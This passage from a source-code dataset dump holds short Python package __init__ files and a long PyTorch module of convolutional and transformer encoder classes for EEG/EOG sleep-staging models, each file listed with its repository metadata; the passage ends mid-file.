from .snr_calculation import SNR_Calculation

22.5

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1

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7

ff377969b6f15dd32d1d60ed4d7fa820ca5b862f

57

py

Python

pbs_util/__init__.py

Clyde-fare/pbs_util

1c1ed93773a9a020f9216056d2ae49cc0cd589d1

[ "BSD-3-Clause" ]

1

2015-08-24T02:48:00.000Z

pbs_util/__init__.py

Clyde-fare/pbs_util

1c1ed93773a9a020f9216056d2ae49cc0cd589d1

[ "BSD-3-Clause" ]

null

pbs_util/__init__.py

Clyde-fare/pbs_util

1c1ed93773a9a020f9216056d2ae49cc0cd589d1

[ "BSD-3-Clause" ]

null

from pbs import * import pbs_map import pbs_map_classes

11.4

22

0.824561

10

57

4.4

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0.409091

0.545455

0

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14.25

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7

ff5f521abc2cab072c02afc2346f6d05a633409f

231

py

Python

beagle/header/__init__.py

ts03408751/beagle

c9c2d37c081768e3fb6dbd88e563deb168c9e33b

[ "MIT" ]

null

beagle/header/__init__.py

ts03408751/beagle

c9c2d37c081768e3fb6dbd88e563deb168c9e33b

[ "MIT" ]

null

beagle/header/__init__.py

ts03408751/beagle

c9c2d37c081768e3fb6dbd88e563deb168c9e33b

[ "MIT" ]

1

2018-10-06T09:01:45.000Z

from .mpu_def import * from .mpu_accel_fsr_t import * from .mpu_gyro_fsr_t import * from .mpu_accel_dlpf_t import * from .mpu_gyro_dlpf_t import * from .bmp_def import * from .bmp_filter_t import * from .bmp_oversample_t import *

23.1

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0

7

4431ae4a75a63fe683d3acd3c4e1d7a92feea815

160

py

Python

src/strategies/colors/__init__.py

dprslt/aurora

3b70c036f01d9b69ae49559c404da79594530041

[ "Apache-2.0" ]

null

src/strategies/colors/__init__.py

dprslt/aurora

3b70c036f01d9b69ae49559c404da79594530041

[ "Apache-2.0" ]

17

2021-05-08T06:52:03.000Z

2021-10-30T16:49:48.000Z

src/strategies/colors/__init__.py

dprslt/aurora

3b70c036f01d9b69ae49559c404da79594530041

[ "Apache-2.0" ]

null

from strategies.colors.OneCyclePerHour import * from strategies.colors.OneCyclePerHourNightMode import * __all__ = [OneCyclePerHour, OneCyclePerHourNightMode]

32

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7

444ed3c7e073b7e3f1e7f06641ffc020d051dcc9

127,527

py

Python

graphs/models/custom_layers/eeg_encoders.py

kkontras/Sleep_net

a6a83d4624989cc8a79238e491da06dc22d562b8

[ "MIT" ]

1

2022-02-22T02:40:41.000Z

graphs/models/custom_layers/eeg_encoders.py

kkontras/Sleep_net

a6a83d4624989cc8a79238e491da06dc22d562b8

[ "MIT" ]

null

graphs/models/custom_layers/eeg_encoders.py

kkontras/Sleep_net

a6a83d4624989cc8a79238e491da06dc22d562b8

[ "MIT" ]

null

import torch.nn as nn import torch import torch.functional as F from graphs.models.attention_models.seq_base_models.mLSTM import LSTM from graphs.models.attention_models.seq_base_models.mTransformerEncoder import Transformer_Encoder, myTransformerEncoderLayer from graphs.models.attention_models.utils.positionalEncoders import * import copy from graphs.models.attention_models.stand_alone_att_vision import * from graphs.models.attention_models.dynamic_cov import * from graphs.models.custom_layers.attention import * from graphs.models.custom_layers.MulilogueNet import * from graphs.models.custom_layers.LSTHM import * import einops from graphs.models.attention_models.ViLBERT import MyViLBERT class EEG_Encoder_E_3(nn.Module): def __init__(self, dec): super().__init__() self.pad_1 = nn.ReflectionPad2d((5,5,1,1)) # self.pad_1 = nn.ZeroPad2d((5,5,1,1)) self.conv1 = nn.Conv2d(1, 10*dec, kernel_size=(2, 10), stride=(1, 1)) self.pad_2 = nn.ReflectionPad2d((2,2,0,0)) # self.pad_2 = nn.ZeroPad2d((2,2,0,0)) self.conv2 = nn.Conv2d(10*dec, 20*dec, kernel_size=(1, 5), stride=(1, 1)) self.conv3 = nn.Conv2d(20*dec, 20*dec, kernel_size=(4, 1), stride=(1, 1)) self.maxpool = nn.MaxPool2d(kernel_size=(2, 3)) self.maxpool_time = nn.MaxPool2d(kernel_size=(1, 3)) self.relu = torch.nn.ReLU() self.conv1_bn = nn.BatchNorm2d(1) def forward(self,x): x1 = self.relu(self.conv1(self.pad_1(self.conv1_bn(x)))) x2 = self.maxpool(x1) x3 = self.relu(self.conv2(self.pad_2(x2))) x4 = self.relu(self.conv3(x3)) x5 = self.maxpool_time(x4) return x5 class EEG_Encoder_Ch(nn.Module): def __init__(self, dec): super().__init__() self.pad_1 = nn.ReflectionPad1d(2) self.conv1 = nn.Conv1d(1, 20*dec, kernel_size=5, stride=1) self.conv2 = nn.Conv1d(20*dec, 80*dec, kernel_size=1, stride=1) self.conv3 = nn.Conv1d(80*dec, 160*dec, kernel_size=3, stride=1) self.conv4 = nn.Conv1d(160*dec, 80*dec, kernel_size=1, stride=1) self.conv5 = nn.Conv1d(80*dec, 40*dec, kernel_size=3, stride=1) self.conv6 = nn.Conv1d(40*dec, 20*dec, kernel_size=1, stride=1) self.pad_2 = nn.ReflectionPad1d(1) # self.pad_2 = nn.ZeroPad2d((2,2,0,0)) # self.conv2 = nn.Conv1d(10*dec, 20*dec, kernel_size=5, stride=1) self.maxpool_time = nn.MaxPool1d(4) # self.maxpool_time = nn.AdaptiveAvgPool1d(225) self.mypool = nn.Conv1d(10*dec, 10*dec, kernel_size=4, stride=4) self.relu = torch.nn.ReLU() self.conv1_bn = nn.BatchNorm1d(1) self.conv2_bn = nn.BatchNorm1d(10*dec) # self.alpha = nn.Parameter(torch.randn(10*dec, 4),requires_grad=True) # self.softmax = nn.Softmax(dim=1) def forward(self,x): x = self.relu(self.conv1(self.pad_1(x))) x = self.relu(self.conv2(x)) x = self.maxpool_time(x) x = self.relu(self.conv3(self.pad_2(x))) x = self.relu(self.conv4(x)) x = self.maxpool_time(x) x = self.relu(self.conv5(self.pad_2(x))) x = self.relu(self.conv6(x)) # x = self.maxpool_time(x) return x class EEG_Encoder_TFN(nn.Module): def __init__(self, dec, d): super().__init__() self.conv_ch = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64*dec, kernel_size=(1, 5), bias=False), nn.ReLU(), nn.MaxPool2d((1,2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), bias=False), nn.ReLU(), nn.MaxPool2d((1,2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128*dec, 2 * dec, kernel_size=(1, 5), bias=False), nn.ReLU(), nn.AvgPool2d((1,56)) ) self.conv_all = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64*dec, kernel_size=(1, 5), bias=False), nn.ReLU(), nn.MaxPool2d((1,2)), nn.ReflectionPad2d((2, 2, 1, 1)), nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), bias=False), nn.ReLU(), nn.MaxPool2d((1,2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128*dec, 14 * dec, kernel_size=(2, 5), bias=False), nn.ReLU(), nn.AvgPool2d((1,56)) ) def forward(self,x): x_all = self.conv_all(x) x_all = x_all.flatten(start_dim=1,end_dim=2).unsqueeze(dim=2) m = [] for i in range(8): a =x[:,:,i,:] # print(a.shape) m.append(self.conv_ch(a.unsqueeze(dim=2))) m = torch.cat(m,dim=1) x = torch.cat([x_all,m],dim=1) return x class EEG_Encoder_MultiToken(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(2, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.conv_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.interm_eeg_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.interm_eog_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.interm_eeg_conv_1 = nn.Sequential( nn.ReflectionPad2d((1, 2, 0, 0)), nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.interm_eog_conv_1 = nn.Sequential( nn.ReflectionPad2d((1, 2, 0, 0)), nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) self.cls_token = nn.Parameter(torch.randn(1, dmodel,1, 1)) # self.cls_token = torch.cat([self.cls_token]*22, dim=0) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1_eeg = transformer_type(dmodel, 1) self.att1_eog = transformer_type(dmodel, 1) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2_eeg = transformer_type(dmodel, 1) self.att2_eog = transformer_type(dmodel, 1) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3_eeg = transformer_type(dmodel, 1) self.att3_eog = transformer_type(dmodel, 1) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg_1 = nn.AvgPool2d(kernel_size=(1, 1500)) self.avg_2 = nn.AvgPool2d(kernel_size=(1, 750)) self.avg_3 = nn.AvgPool2d(kernel_size=(1, 375)) # self.avg = nn.AvgPool2d(kernel_size=(1, 23)) def forward(self,x): x_shape = x[0].shape if len(x_shape)>4: for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = self.conv_eeg(x[0]) xeog = self.conv_eog(x[1]) xeeg_inshape = xeeg.shape xeog_inshape = xeog.shape xeeg = self.pos(xeeg.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(xeeg_inshape) xeog = self.pos(xeog.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(xeog_inshape) # print(x.shape) xeeg = self.att1_eeg(xeeg) xeog = self.att1_eog(xeog) eeg_token = self.avg_1(xeeg) eog_token = self.avg_1(xeog) xeeg = self.interm_eeg_conv_0(xeeg) xeog = self.interm_eog_conv_0(xeog) xeeg = torch.cat([xeeg, eog_token], dim=3) xeog = torch.cat([xeog, eeg_token], dim=3) xeeg = self.att2_eeg(xeeg) xeog = self.att2_eog(xeog) eeg_token = self.avg_2(xeeg[:,:,:,:-1]) eog_token = self.avg_2(xeog[:,:,:,:-1]) eeg_p_token = xeeg[:,:,:,-1].unsqueeze(dim=3) eog_p_token = xeog[:,:,:,-1].unsqueeze(dim=3) xeeg = self.interm_eeg_conv_1(xeeg) xeog = self.interm_eog_conv_1(xeog) xeeg = torch.cat([xeeg, eog_p_token, eog_token, self.cls_token.repeat(xeeg_inshape[0],1,1,1)], dim=3) xeog = torch.cat([xeog, eeg_p_token, eeg_token, self.cls_token.repeat(xeeg_inshape[0],1,1,1)], dim=3) xeeg = self.att3_eeg(xeeg) xeog = self.att3_eog(xeog) xm_eeg = self.avg_3(xeeg[:,:,:,:-3]) xm_eog = self.avg_3(xeog[:,:,:,:-3]) multi1_eeg = xeeg[:,:,:,-3].unsqueeze(dim=3) multi2_eeg = xeeg[:,:,:,-2].unsqueeze(dim=3) cls_eeg = xeeg[:,:,:,-1].unsqueeze(dim=3) multi1_eog = xeog[:,:,:,-3].unsqueeze(dim=3) multi2_eog = xeog[:,:,:,-2].unsqueeze(dim=3) cls_eog = xeog[:,:,:,-1].unsqueeze(dim=3) out = torch.cat([xm_eeg, multi1_eeg, multi2_eeg, cls_eeg, xm_eog, multi1_eog, multi2_eog, cls_eog],dim=1) return out class EEG_Encoder_Single(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(2, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.interm_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) self.interm_conv_1 = nn.Sequential( nn.ReflectionPad2d((1, 2, 0, 0)), nn.Conv2d(dmodel, dmodel, kernel_size=(1, 5), stride=(1, 2), bias=False), # nn.ReLU(), ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, dmodel,1, 1)) # self.cls_token = torch.cat([self.cls_token]*22, dim=0) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1 = transformer_type(dmodel, 1) self.att2 = transformer_type(dmodel, 1) self.att3 = transformer_type(dmodel, 1) self.att4 = transformer_type(64*5, 1) self.att5 = transformer_type(64*5, 1) self.att6 = transformer_type(64*5, 1) self.avg = nn.AvgPool2d(kernel_size=(1, 75)) def forward(self,x): x_shape = x[0].shape if len(x_shape)>4: for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) x = self.conv(x[0]) x_inshape = x.shape x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_inshape) # print(x.shape) x = self.att1(x) x = self.interm_conv_0(x) x = self.att2(x) x = self.interm_conv_1(x) x = self.att3(x) x = self.avg(x) x = x.view(x_shape[0],x.shape[1]*x.shape[2]*x.shape[3], 1, x_shape[1]) x = self.att4(x) x = self.att5(x) x = self.att6(x).permute(0,3,2,1) x = x.flatten(start_dim=0, end_dim = 1) return x class EEG_Encoder_Ch_all(nn.Module): def __init__(self, dec): super().__init__() self.pad_1 = nn.ReflectionPad1d(2) self.conv1 = nn.Conv1d(1, 64*dec, kernel_size=5, stride=1) self.conv2 = nn.Conv1d(64*dec, 128*dec, kernel_size=1, stride=1) self.conv3 = nn.Conv1d(128*dec, 128*dec, kernel_size=3, stride=1) self.conv4 = nn.Conv1d(128*dec, 64*dec, kernel_size=1, stride=1) self.conv5 = nn.Conv1d(64*dec, 32*dec, kernel_size=3, stride=1) self.conv6 = nn.Conv1d(32*dec, 16*dec, kernel_size=1, stride=1) self.pad_2 = nn.ReflectionPad1d(1) # self.pad_2 = nn.ZeroPad2d((2,2,0,0)) # self.conv2 = nn.Conv1d(10*dec, 20*dec, kernel_size=5, stride=1) self.maxpool_time = nn.MaxPool1d(4) self.avg_pool = nn.AvgPool1d(14) self.relu = torch.nn.ReLU() self.conv1_bn = nn.BatchNorm1d(1) self.conv2_bn = nn.BatchNorm1d(10*dec) # self.alpha = nn.Parameter(torch.randn(10*dec, 4),requires_grad=True) # self.softmax = nn.Softmax(dim=1) def forward(self,x): x = self.relu(self.conv1(self.pad_1(x))) x = self.relu(self.conv2(x)) x = self.maxpool_time(x) x= self.relu(self.conv3(self.pad_2(x))) x = self.relu(self.conv4(x)) x = self.maxpool_time(x) x = self.relu(self.conv5(self.pad_2(x))) x = self.relu(self.conv6(x)) x = self.avg_pool(x) # x = self.maxpool_time(x) return x class EEG_Shuffle_channels(nn.Module): def __init__(self, dec): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 64 * dec self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64 * dec, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReflectionPad2d((2, 2, 1, 0)), # nn.Conv2d(64 * dec, 128 * dec, kernel_size=(1, 5), stride=(1, 2)), # nn.ReLU(), # # nn.MaxPool2d(kernel_size=(1, 2)), # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(1, 5)), # nn.ReLU(), ) # self.interm_conv_0 = nn.Sequential( # nn.ReflectionPad2d((2, 2, 1, 1)), # nn.Conv2d(64 * dec, 128 * dec, kernel_size=(2, 5), stride=(1,2)), # # nn.ReLU(), # ) # self.interm_conv_1 = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(128 * dec, 16 * dec, kernel_size=(2, 5)), # # nn.ReLU(), # ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) # self.pos = PositionalEncoder(d_model=dmodel*8) self.att1 = My_Transformer_Layer_Ch_SmallFF(dmodel) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2 = My_Transformer_Layer_Ch_SmallFF(dmodel*2) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3 = My_Transformer_Layer_Ch_SmallFF(16 * dec) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg = nn.AvgPool2d(kernel_size=(1, 56)) import random self.rands = random.sample(range(8), 8) # self.rands = [7,0,1,2,3,4,5,6,7,1] print("Our random shuffle is:") print(self.rands) def _shuffle_channels(self,x): return x[:,:,self.rands,:] def cross_attention(self,src): print(self.latent_space.shape) print(src.shape) src2 = self.self_attn(self.latent_space, self.latent_space, src)[0] src = src + self.dropout1(src2) src = self.norm1(src) src2 = self.linear2(self.dropout(self.activation(self.linear1(src)))) src = src + self.dropout2(src2) src = self.norm2(src) return src def s_att(self,src): src2 = self.s_self_attn(src, src, src)[0] src = src + self.dropout1(src2) src = self.s_norm1(src) src2 = self.s_linear2(self.dropout(self.activation(self.linear1(src)))) src = src + self.dropout2(src2) src = self.s_norm2(src) return src def forward(self, x): x = self.conv(x) x_shape = x.shape # x_shape = x.shape # x = x.permute(0,3,2,1) # mm= [] # for i in range(8): # m = [] # for j in range(8): # if i!=j: # tgt = self.multihead_cross_attn(x[:, :, i], x[:, :, j], x[:, :, j])[0] # tgt = tgt + self.dropout2(x[:, :, i]) # tgt = self.norm2(tgt) # tgt2 = self.linear2(self.dropout(self.activation(self.linear1(tgt)))) # tgt = tgt + self.dropout3(tgt2) # tgt = self.norm3(tgt) # m.append(tgt.unsqueeze(dim=2)) # mm.append(torch.cat(m,dim=2).unsqueeze(dim=3)) # x = torch.cat(mm,dim=3) # mm = [] # for i in range(8): # mm.append(self.attention1(self.pos1(x[:,:,:,i].flatten(start_dim=2))).unsqueeze(dim=2)) # x = torch.cat(mm,dim=2) # m = self.dec_attention1(x[:,:,0],x[:,:,1]) # x = self.perceiver(x) # print(x.shape) # m = [] # for i in range(8): # xi = x[:,:,i].permute(0,2,1) # x = x.view([x_shape[0],x_shape[3], x_shape[1] * x_shape[2]]) # xi = x.clone() # l = torch.cat(x_shape[0]*[self.latent.unsqueeze(dim=0)],dim=0) # for i in range(1): # print(xi[:,:,i].permute(0,2,1).shape) # print(l.shape) # x = self.pos(x.flatten(start_dim=2)).view(x_shape) x = self.att1(x)#.permute(0,2,1,3) # x = self.att1_1(x).permute(0,2,1,3).view(x_shape) # x = self.interm_conv_0(x.permute(0,3,2,1)).permute(0,3,2,1) # x_shape = x.shape x = self.att2(x)#.permute(0,2,1,3) # x = self.att2_1(x).permute(0,2,1,3).view(x_shape) # x = self.interm_conv_1(x.permute(0,3,2,1)).permute(0,3,2,1) # x_shape = x.shape x = self.att3(x)#.permute(0,2,1,3) # x = self.att3_1(x).permute(0,2,1,3).view(x_shape) # x_shape = x.shape # x = self.pos(x.flatten(start_dim=2)).view(x_shape) # x = self.att1(x) # x = self.att2(x.flatten(start_dim=2)).permute(0,2,1) # x = self.attention2(x) # x = self.norm2(x) # x = self.ff2(x) # x = self.normff2(x) # x = self.attention3(x) # x = self.norm3(x) # x = self.ff3(x) # x = self.normff3(x) # print(x.shape) # m.append(k.unsqueeze(dim=2)) # x = x.view([x_shape[0],16,8]) # torch.cat(m,dim=2).permute(0,3,2,1) # x = x.permute(0,3,2,1).squeeze() # self.latent_space = nn.Parameter(torch.cat(x.shape[0] * [self.latent_space.unsqueeze(dim=0)],dim=0)) # # for i in range(8): # self.latent_space = self.cross_attention(x.squeeze()) # self.latent_space = self.s_att(self.latent_space) # print(self.latent_space.shape) # x = x.permute(0,3,1,2).flatten(start_dim=2, end_dim=3) # x = self.attention1(x) # # x = x.view(x_shape) # # x = self.maxpool(x) # # x_shape = x.shape # # # # # x = self.pos2(x) # # x = self.self_attention2(x.permute(0,3,1,2).flatten(start_dim=2)) x = self.avg(x) # print(x.shape) # x = self._shuffle_channels(x) return x class EEG_Transformer_SEDF(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(2, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.conv_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(dmodel, dmodel*2, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_1 = nn.Sequential( nn.ReflectionPad2d((1, 2, 0, 0)), nn.Conv2d(dmodel*2, 32, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1 = transformer_type(dmodel, 2) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2 = transformer_type(dmodel*2, 2) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3 = transformer_type(32, 2) self.att4 = transformer_type(1024, 1) self.att5 = transformer_type(1024, 1) self.att6 = transformer_type(1024, 1) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg = nn.AvgPool2d(kernel_size=(1, 23)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = self.conv_eeg(x[0]) xeog = self.conv_eog(x[1]) x = torch.cat([xeeg, xeog], dim=2) x_inshape = x.shape x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_inshape) # print(x.shape) x = self.att1(x) # x = self.att1_1(x) x = self.interm_conv_0(x) # x_shape = x.shape x = self.att2(x) # x = self.att2_1(x) x = self.interm_conv_1(x) # x_shape = x.shape x = self.att3(x) # x = self.att3_1(x) x = self.avg(x) if flag_seqtoseq: x = x.view(x_shape[0],x_shape[1],1,-1).permute(0,3,2,1) x = self.att4(x) x = self.att5(x) x = self.att6(x) x = x.permute(0,3,2,1).flatten(start_dim=0,end_dim=1) return x class EEG_Transformer(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 1, 1)), nn.Conv2d(dmodel, dmodel*2, kernel_size=(2, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_1 = nn.Sequential( nn.ReflectionPad2d((1, 2, 0, 0)), nn.Conv2d(dmodel*2, 32, kernel_size=(2, 5), stride=(1,2), bias=False), # nn.ReLU(), ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1 = transformer_type(dmodel) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2 = transformer_type(dmodel*2, 3) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3 = transformer_type(32) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg = nn.AvgPool2d(kernel_size=(1, 23)) def forward(self, x): x = self.conv(x) x_shape = x.shape x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape) # print(x.shape) x = self.att1(x) # x = self.att1_1(x) x = self.interm_conv_0(x) # x_shape = x.shape x = self.att2(x) # x = self.att2_1(x) x = self.interm_conv_1(x) # x_shape = x.shape x = self.att3(x) # x = self.att3_1(x) x = self.avg(x) return x class EEG_Transformer1(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) # self.interm_conv_0 = nn.Sequential( # nn.ReflectionPad2d((2, 2, 1, 1)), # nn.Conv2d(dmodel, dmodel*2, kernel_size=(2, 5), stride=(1,2), bias=False), # # nn.ReLU(), # ) # self.interm_conv_1 = nn.Sequential( # nn.ReflectionPad2d((1, 2, 0, 0)), # nn.Conv2d(dmodel*2, 32, kernel_size=(2, 5), stride=(1,2), bias=False), # # nn.ReLU(), # ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1 = transformer_type(dmodel) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2 = transformer_type(dmodel) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3 = transformer_type(dmodel) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg = nn.AvgPool2d(kernel_size=(1, 28*8)) def forward(self, x): x = self.conv(x) x_shape = x.shape x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape) x = self.att1(x) # x = self.att1_1(x) # x = self.interm_conv_0(x) # x_shape = x.shape x = self.att2(x) # x = self.att2_1(x) # x = self.interm_conv_1(x) # x_shape = x.shape x = self.att3(x) # x = self.att3_1(x) x = self.avg(x) return x class EEG_Transformer2(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(dmodel, 32, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) # self.interm_conv_1 = nn.Sequential( # nn.ReflectionPad2d((1, 2, 0, 0)), # nn.Conv2d(dmodel*2, 32, kernel_size=(2, 5), stride=(1,2), bias=False), # # nn.ReLU(), # ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1 = transformer_type(dmodel) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2 = transformer_type(32) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3 = transformer_type(32) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg = nn.AvgPool2d(kernel_size=(1, 28*2)) def forward(self, x): x = self.conv(x) x_shape = x.shape x = self.pos(x.flatten(start_dim=2).permute(0,2,1)).permute(0,2,1).view(x_shape) x = self.att1(x) # x = self.att1_1(x) x = self.interm_conv_0(x) # x_shape = x.shape x = self.att2(x) # x = self.att2_1(x) # x = self.interm_conv_1(x) # x_shape = x.shape x = self.att3(x) # x = self.att3_1(x) x = self.avg(x) return x class EEG_Transformer3(nn.Module): def __init__(self, dec, transformer_type): super().__init__() # self.maxpool = nn.MaxPool2d(kernel_size=(1, 4)) # self.pos1 = PositionalEncoder(d_model=dmodel*8, same_time_step=7) dmodel = 32 * dec self.conv = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, dmodel, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_0 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(dmodel, dmodel*2, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) self.interm_conv_1 = nn.Sequential( nn.ReflectionPad2d((1, 2, 0, 0)), nn.Conv2d(dmodel*2, 32, kernel_size=(1, 5), stride=(1,2), bias=False), # nn.ReLU(), ) # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) self.pos = PositionalEncoder(d_model=dmodel, same_time_step=8) transformer_type = globals()[transformer_type] self.att1 = transformer_type(dmodel) # self.att1_1 = My_Transformer_Layer(dmodel*450) self.att2 = transformer_type(dmodel*2) # self.att2_1 = My_Transformer_Layer(dmodel*2*225) self.att3 = transformer_type(32) # self.att3_1 = My_Transformer_Layer(16 * dec*112) self.avg = 